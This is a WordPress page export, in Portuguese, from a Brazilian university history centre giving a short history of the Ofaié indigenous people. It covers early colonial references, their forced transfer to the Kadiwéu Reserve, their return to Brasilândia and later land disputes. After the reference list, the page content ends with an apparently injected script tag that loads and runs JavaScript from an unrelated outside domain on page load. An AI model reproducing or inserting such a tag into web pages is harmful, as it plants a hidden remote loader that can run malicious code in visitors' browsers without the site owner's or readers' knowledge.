{"id":712,"date":"2017-07-21T08:56:42","date_gmt":"2017-07-21T12:56:42","guid":{"rendered":"http:\/\/www.ndh.ufms.br\/?page_id=712"},"modified":"2025-11-04T09:32:07","modified_gmt":"2025-11-04T13:32:07","slug":"breve-historia-ofaie","status":"publish","type":"page","link":"https:\/\/ndh-cptl.ufms.br\/?page_id=712","title":{"rendered":"Breve hist\u00f3ria Ofai\u00e9"},"content":{"rendered":"<div id=\"attachment_713\" style=\"width: 1034px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH2.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-713\" class=\"wp-image-713 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH2.jpg\" alt=\" Jo\u00e3o Carlos Can-R\u00ea Ofai\u00e9 (Foto: Carlos Dutra, 1986)\" width=\"1024\" height=\"463\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH2.jpg 1024w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH2-300x135.jpg 300w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><p id=\"caption-attachment-713\" class=\"wp-caption-text\">Jo\u00e3o Carlos Can-R\u00ea Ofai\u00e9 (Foto: Carlos Dutra, 1986)<\/p><\/div>\n<p style=\"text-align: justify;\">Dif\u00edcil estimar o n\u00famero de ind\u00edgenas que existiam nas terras que atualmente conhecemos como territ\u00f3rio brasileiro. Estudos apontam para uma popula\u00e7\u00e3o entre 2 e 4 milh\u00f5es e mais de mil povos, sendo que o n\u00famero mais aceito atualmente \u00e9 de 2,4 milh\u00f5es quando da chegada dos portugueses em 1500. Portanto, o espa\u00e7o da col\u00f4nia Brasil n\u00e3o era um vazio demogr\u00e1fico. Aqui vivia uma popula\u00e7\u00e3o superior a muitas na\u00e7\u00f5es europeias, inclusive Portugal que tinha uma popula\u00e7\u00e3o estimada em 1,4 milh\u00e3o em 1498. Todavia, o exterm\u00ednio reduzira a popula\u00e7\u00e3o origin\u00e1ria \u00e0 800 mil em 1570.\u00a0Conforme o censo do IBGE de 2010, a popula\u00e7\u00e3o origin\u00e1ria atual \u00e9 de cerca de 900 mil pessoas.<\/p>\n<p style=\"text-align: justify;\">No Estado de Mato Grosso do Sul ainda resistem v\u00e1rias etnias dos povos origin\u00e1rios: \u201cS\u00e3o mais de 35 mil pessoas vivendo em diversos pontos do Estado e pertencentes aos povos Terena, Kinikinau, Guarani Kaiow\u00e1, Guaran\u00ed Nhandeva, Guat\u00f3, Kamba e Ofai\u00e9\u201d (DUTRA, 1991, p.6).<\/p>\n<p style=\"text-align: justify;\">O hist\u00f3rico populacional dos Ofai\u00e9 sintetiza o longo processo de exterm\u00ednio, desterritorializa\u00e7\u00e3o e de imposi\u00e7\u00e3o cultural na rela\u00e7\u00e3o assim\u00e9trica iniciada com a chegada dos europeus em 1500. Nos relatos seiscentistas e setecentistas, os ind\u00edgenas Ofai\u00e9 s\u00e3o inseridos na na\u00e7\u00e3o Chavante e na maioria das vezes confundidos com os Chavante Aku\u00e9n e os Chavante Oti. De acordo com o viajante H\u00e9rcules Florence (1941, p.21), chamam-se Chavantes todos os \u00edndios que aparecem na parte ocidental da Prov\u00edncia de S\u00e3o Paulo e para l\u00e1 do Tiet\u00ea.<\/p>\n<div id=\"attachment_715\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH3.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-715\" class=\"wp-image-715 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH3.jpg\" alt=\"NDH3\" width=\"640\" height=\"479\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH3.jpg 640w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH3-300x225.jpg 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><p id=\"caption-attachment-715\" class=\"wp-caption-text\">Ind\u00edgenas Ofai\u00e9 no Porto Quinze. (Foto: General Malan, 1924)<\/p><\/div>\n<p style=\"text-align: justify;\">Segundo Dutra (2011, p.105), a primeira refer\u00eancia oficial que assinala a presen\u00e7a dos Ofai\u00e9 na margem direita do rio Paran\u00e1 em um per\u00edodo mais recuado \u00e9 a registrada no Mapa etnogr\u00e1fico do Brasil, organizado por Jo\u00e3o Am\u00e9rico Peret em 1710. Em 1848 no Itiner\u00e1rio de Joaquim Francisco Lopes, \u00e9 revelada a melhor rota de explora\u00e7\u00e3o entre a Prov\u00edncia de S\u00e3o Paulo e a de Mato Grosso pelo Rio Paraguai, fazendo refer\u00eancia aos ind\u00edgenas al\u00e9m do Paranapanema, chamados de \u201cselvagens da na\u00e7\u00e3o Chavante\u201d. Em 1907, a Comiss\u00e3o Geogr\u00e1fica e Geol\u00f3gica do Estado de S\u00e3o Paulo faz refer\u00eancia aos ind\u00edgenas Ofai\u00e9 na explora\u00e7\u00e3o do rio do Peixe, afluente esquerdo do alto Paran\u00e1. Nessa ocasi\u00e3o, os ind\u00edgenas chegaram a travar um encontro armado com o grupo da Comiss\u00e3o Geogr\u00e1fica.<\/p>\n<p style=\"text-align: justify;\">Os contatos continuaram em 1909, quando o ge\u00f3logo Miguel Arrojado Ribeiro Lisboa, em sua obra <em>Oeste de S\u00e3o Paulo Sul de Mato Grosso: Estrada de Ferro Noroeste do Brasil<\/em>, lamenta n\u00e3o haver podido recolher entre os ind\u00edgenas pelo menos um vocabul\u00e1rio para classifica\u00e7\u00e3o lingu\u00edstica do grupo que ali encontrou. A localiza\u00e7\u00e3o mais completa \u00e9 formada por Curt Nimuendaj\u00fa: ao norte, dividindo suas terras com a na\u00e7\u00e3o Kayap\u00f3 Meridional, que habitava o Sert\u00e3o de Camapu\u00e3, no alto Inhandu\u00ed, e tamb\u00e9m nas cabeceiras dos rios Pardo e Verde. Conforme narrativa do rec\u00e9m falecido cacique Ata\u00edde Xehit\u00e2-ha \u201cviviam espalhados por todo o canto do Mato Grosso do Sul. O Ofai\u00e9 vivia na maior felicidade. Sem prote\u00e7\u00e3o vivemos por longos anos\u201d. Sobreviviam da ca\u00e7a, da pesca e tamb\u00e9m da coleta de frutas e mel, da\u00ed a denomina\u00e7\u00e3o de \u201cpovo do mel\u201d.<\/p>\n<div id=\"attachment_718\" style=\"width: 637px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH6.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-718\" class=\"wp-image-718 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH6.jpg\" alt=\"NDH6\" width=\"627\" height=\"497\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH6.jpg 627w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH6-300x237.jpg 300w\" sizes=\"auto, (max-width: 627px) 100vw, 627px\" \/><\/a><p id=\"caption-attachment-718\" class=\"wp-caption-text\">O povo do mel. (Foto: Imagens da Terra, 1991)<\/p><\/div>\n<p style=\"text-align: justify;\">Os Ofai\u00e9 preferiam construir seus acampamentos sempre \u00e0 beira dos rios, em pequenos grupos e se deslocavam constantemente renovando as \u00e1reas de cultura, ca\u00e7a e pesca, mantendo assim um ciclo de sustentabilidade e preserva\u00e7\u00e3o da terra. Constru\u00edam suas casas com troncos de \u00e1rvores e as cobriam com folhas de sap\u00e9 e de palmeiras. Suas casas tinham formato circular e formavam um grande p\u00e1tio no centro da aldeia, onde eram realizadas as dan\u00e7as e jogos pertencentes aos seus costumes. O trabalho na aldeia era dividido entre homens e mulheres, de acordo com a idade e o tipo de tarefa. Os homens jovens eram respons\u00e1veis pela ca\u00e7a e jogos esportivos e os velhos cuidavam da lenha cortada que trazida do mato. Com essa lenha, eles faziam suas casas, os arcos e as flechas, al\u00e9m de utiliz\u00e1-las para construir as fogueiras para se aquecerem nas noites frias. As mulheres, inclusive as jovens, realizavam os trabalhos caseiros al\u00e9m de colherem as frutas e o mel silvestre. Tamb\u00e9m preparavam as fibras utilizadas na confec\u00e7\u00e3o das cordas dos arcos e na confec\u00e7\u00e3o de suas roupas. Parte dessa cultura constitu\u00edda a partir do trabalho na rela\u00e7\u00e3o com a natureza, ainda \u00e9 preservada.<\/p>\n<p style=\"text-align: justify;\">A historiografia oficial nunca deu maiores espa\u00e7os ao homem aut\u00f3ctone brasileiro, o que contribuiu para que a etnia Ofai\u00e9 permanecesse no anonimato durante um longo per\u00edodo da hist\u00f3ria (DUTRA, 2011, p.23). No entanto a trajet\u00f3ria dos Ofai\u00e9 foi marcada por uma longa hist\u00f3ria de resist\u00eancia e deslocamentos em busca de terras que possibilitassem a subsist\u00eancia da comunidade.<\/p>\n<p style=\"text-align: justify;\">Os caminhos percorridos pelos Ofai\u00e9 no decorrer de sua hist\u00f3ria foram longos, cheios de obst\u00e1culos, envoltos a viol\u00eancia, persegui\u00e7\u00f5es e genoc\u00eddio, o que fez com que a popula\u00e7\u00e3o Ofai\u00e9 fosse reduzida drasticamente em um curto per\u00edodo de tempo. Na d\u00e9cada de 1950, o antrop\u00f3logo Darcy Ribeiro e a FUNAI deram como extinta a etnia Ofai\u00e9, no entanto, cerca de 20 anos mais tarde foi \u201credescoberto\u201d um grupo de 24 pessoas pr\u00f3ximo a cidade de Brasil\u00e2ndia. Essas pessoas acabaram sendo transferidas pela FUNAI, em 1978, para a Reserva Kadiw\u00e9u, situada no munic\u00edpio de Porto Murtinho-MS. O grupo que foi transferido de Brasil\u00e2ndia, como conta Ata\u00edde Xehit\u00e2-ha, ap\u00f3s a longa viagem at\u00e9 as terras da regi\u00e3o de Bodoquena, n\u00e3o recebeu a assist\u00eancia prometida pela institui\u00e7\u00e3o. N\u00e3o havia casas, comida e ferramentas para subsist\u00eancia. O Grupo dividia territ\u00f3rio com posseiros, e sem aux\u00edlio governamental, passaram a trabalhar em fazendas.<\/p>\n<div id=\"attachment_717\" style=\"width: 639px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH5.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-717\" class=\"wp-image-717 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH5.jpg\" alt=\"NDH5\" width=\"629\" height=\"344\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH5.jpg 629w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH5-300x164.jpg 300w\" sizes=\"auto, (max-width: 629px) 100vw, 629px\" \/><\/a><p id=\"caption-attachment-717\" class=\"wp-caption-text\">Grupo Ofai\u00e9 na Reserva Kadiw\u00e9u. Porto Murtinho-MS (Foto: Ivo Schroeder e Antonio Brandt, 1981)<\/p><\/div>\n<p style=\"text-align: justify;\">No in\u00edcio dos anos de 1980, a situa\u00e7\u00e3o na \u00e1rea da Reserva se agravou com casos de viol\u00eancia e abuso de poder:<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">Em 1985, o Instituto Nacional de Coloniza\u00e7\u00e3o e Reforma Agr\u00e1ria &#8211; INCRA retirou os posseiros, num total de seis mil fam\u00edlias, das terras da Reserva. Os Ofay\u00e9 e alguns Guarani Kaiow\u00e1 permaneceram na \u00e1rea, por\u00e9m a contragosto dos Kadiw\u00e9u. A FUNAI abandonou o Posto de Vigil\u00e2ncia ap\u00f3s a decis\u00e3o do INCRA e, de acordo com Ata\u00edde, os Kadiw\u00e9u come\u00e7aram a perseguir os Ofay\u00e9 para expuls\u00e1-los da Reserva e liberar a \u00e1rea para contratar o arrendamento com os fazendeiros. (BORGONHA, 2006, p.60)<\/p>\n<p style=\"text-align: justify;\">No ano de 1987 eles retornam \u00e0s suas terras de origem, na cidade de Brasil\u00e2ndia, uma longa caminhada de mais de 600 km. Em Brasil\u00e2ndia dispersaram-se entre as fazendas na busca por trabalho.<\/p>\n<p style=\"text-align: justify;\">Em 1987, enquanto aguardavam as provid\u00eancias do Governo Federal para a regulariza\u00e7\u00e3o de uma \u00e1rea, os Ofai\u00e9 conseguiram a autoriza\u00e7\u00e3o para ocupar provisoriamente uma faixa de terra nas margens do Rio Paran\u00e1. Essa \u00e1rea foi obtida por um contrato de arrendamento cedido por um fazendeiro at\u00e9 que a regi\u00e3o fosse inundada pela Usina de Porto Primavera. Em 1991 conseguiram nova \u00e1rea com o propriet\u00e1rio da mesma fazenda, em contrato de comodato por mais oito anos at\u00e9 o alagamento da regi\u00e3o pela barragem de Porto Primavera, previsto para o ano de 1995. Ainda no ano de 1991 a FUNAI deu in\u00edcio ao processo de identifica\u00e7\u00e3o e demarca\u00e7\u00e3o do territ\u00f3rio tradicional Ofai\u00e9, conclu\u00eddo em 1992, entretanto, a propriet\u00e1ria da fazenda que abarcava os limites da \u00e1rea demarcada requereu a suspens\u00e3o da portaria, situa\u00e7\u00e3o que aguarda decis\u00e3o final at\u00e9 os dias atuais.<\/p>\n<p style=\"text-align: justify;\">Em 1994 a CESP garantiu uma \u00e1rea de 484 hectares, \u201cestabelecendo no conv\u00eanio a implanta\u00e7\u00e3o de infra-estrutura para habita\u00e7\u00e3o, sa\u00fade e educa\u00e7\u00e3o, bem como assist\u00eancia t\u00e9cnica, por um per\u00edodo de cinco anos, em atividades de enriquecimento florestal, piscicultura, agricultura, pecu\u00e1ria e apicultura, visando \u00e0 auto-sustenta\u00e7\u00e3o do grupo\u201d (BORGONHA, 2006, p.66). Em 1997 o grupo foi oficialmente transferido para a \u00e1rea, no mesmo ano a CESP solicitou o encerramento do conv\u00eanio, alegando que a FUNAI n\u00e3o estaria repassando os projetos para serem implantados na Reserva.<\/p>\n<p style=\"text-align: justify;\">Em 2002 os Ofai\u00e9 adquiriram 660 hectares, antecipando a negocia\u00e7\u00e3o da \u00e1rea que estava <em>sub judice<\/em>. O governo do Estado de Mato Grosso do Sul ficou encarregado de dar suporte t\u00e9cnico aos projetos de agricultura, pecu\u00e1ria, piscicultura e apicultura. Todos os recursos financeiros passaram a ser gerenciados pela Associa\u00e7\u00e3o Ind\u00edgena da aldeia, criada em 1991 para este fim.<\/p>\n<p style=\"text-align: justify;\">No tempo presente, os Ofai\u00e9 residem na Aldeia Enodi, pr\u00f3ximo a cidade de Brasil\u00e2ndia-MS em duas \u00e1reas: a primeira sendo o \u201ccentro\u201d da comunidade, de 484 hectares, onde a maioria reside, e a segunda \u00e1rea correspondente a 1.937 hectares identificados pela Funai como territ\u00f3rio tradicional Ofai\u00e9 e que se encontra ocupada pelos ind\u00edgenas enquanto aguardam a demarca\u00e7\u00e3o. Entre os moradores da \u00e1rea ind\u00edgena, 45 pessoas s\u00e3o Ofai\u00e9, 19 s\u00e3o filhos de um indiv\u00edduo Ofay\u00e9 com um indiv\u00edduo Guarani, 7 s\u00e3o filhos de um indiv\u00edduo Ofay\u00e9 com um indiv\u00edduo n\u00e3o-\u00edndio e os demais se consideram filhos de pai e m\u00e3e Ofai\u00e9; 26 pessoas s\u00e3o Guarani (entre elas h\u00e1 Guarani Kaiow\u00e1 e Guarani Nhandeva) e 4 pessoas s\u00e3o n\u00e3o-ind\u00edgenas. As distintas identidades aparecem bem marcadas no conv\u00edvio e na co-resid\u00eancia, distin\u00e7\u00e3o tamb\u00e9m presente em seus discursos de auto-afirma\u00e7\u00e3o \u00e9tnica. (BORGONHA, 2006. p. 70)<\/p>\n<p style=\"text-align: justify;\">Os Ofai\u00e9 vivem hoje de forma bem diferente da maneira que viviam a cem ou mais anos atr\u00e1s, mas de forma alguma isso significa que deixaram de ser ind\u00edgenas ou s\u00e3o menos ind\u00edgenas do que antes. Atualmente restam somente cinco falantes da l\u00edngua Ofai\u00e9, e isso se deve ao hist\u00f3rico de desterritorializa\u00e7\u00e3o, genoc\u00eddio e etnoc\u00eddio.<\/p>\n<p style=\"text-align: justify;\">Preservar fontes escrita, oral, imag\u00e9tica e audiovisual <em>dos<\/em> e <em>sobre<\/em> os Ofai\u00e9 contribui para a perman\u00eancia da resist\u00eancia dessa comunidade.<\/p>\n<div id=\"attachment_716\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH4.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-716\" class=\"wp-image-716 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH4.jpg\" alt=\"NDH4\" width=\"640\" height=\"427\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH4.jpg 640w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH4-300x200.jpg 300w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH4-120x80.jpg 120w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><p id=\"caption-attachment-716\" class=\"wp-caption-text\">Aldeia Anodi, pr\u00f3xima a cidade de Brasil\u00e2ndia-MS (Foto: Google, 2012)<\/p><\/div>\n<p><strong>REFER\u00caNCIAS<\/strong><\/p>\n<p style=\"text-align: justify;\">BORGONHA, Mirtes Cristiane. Hist\u00f3ria e Etnografia Ofay\u00e9: Estudo sobre um grupo ind\u00edgena do Centro-Oeste brasileiro. Disserta\u00e7\u00e3o de Mestrado em Antropologia, UFSC, 2006.<\/p>\n<p style=\"text-align: justify;\">DUTRA, Carlos Alberto dos Santos. Ofai\u00e9, o povo do mel. Campo Grande-MS: CIMI-MS, 1991.<\/p>\n<p style=\"text-align: justify;\">_________________. O territ\u00f3rio Ofai\u00e9: pelos caminhos da hist\u00f3ria. Campo Grande-MS: FCMS\/Life Editora, 2011.<\/p>\n<p style=\"text-align: justify;\">FLORENCE, H\u00e9rcules. Viagem fluvial do Tiet\u00ea ao Amazonas (1825 a 1829). Trad. Visconde de Taunay. Rio de Janeiro: Melhoramentos, 1941.<\/p>\n<p style=\"text-align: justify;\">OLIVEIRA, Jo\u00e3o Pacheco de. \u201cOs ind\u00edgenas na funda\u00e7\u00e3o da col\u00f4nia: uma abordagem cr\u00edtica\u201d. In: FRAGOSO, Jo\u00e3o e GOUV\u00caA, Maria de F\u00e1tima (orgs.). O Brasil colonial: volume 1 (ca. 1443 \u2013 ca. 1580). Rio de Janeiro: Civiliza\u00e7\u00e3o Brasileira, 2014, pp.167-228.<\/p>\n<p><script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Dif\u00edcil estimar o n\u00famero de ind\u00edgenas que existiam nas terras que atualmente conhecemos como territ\u00f3rio brasileiro. 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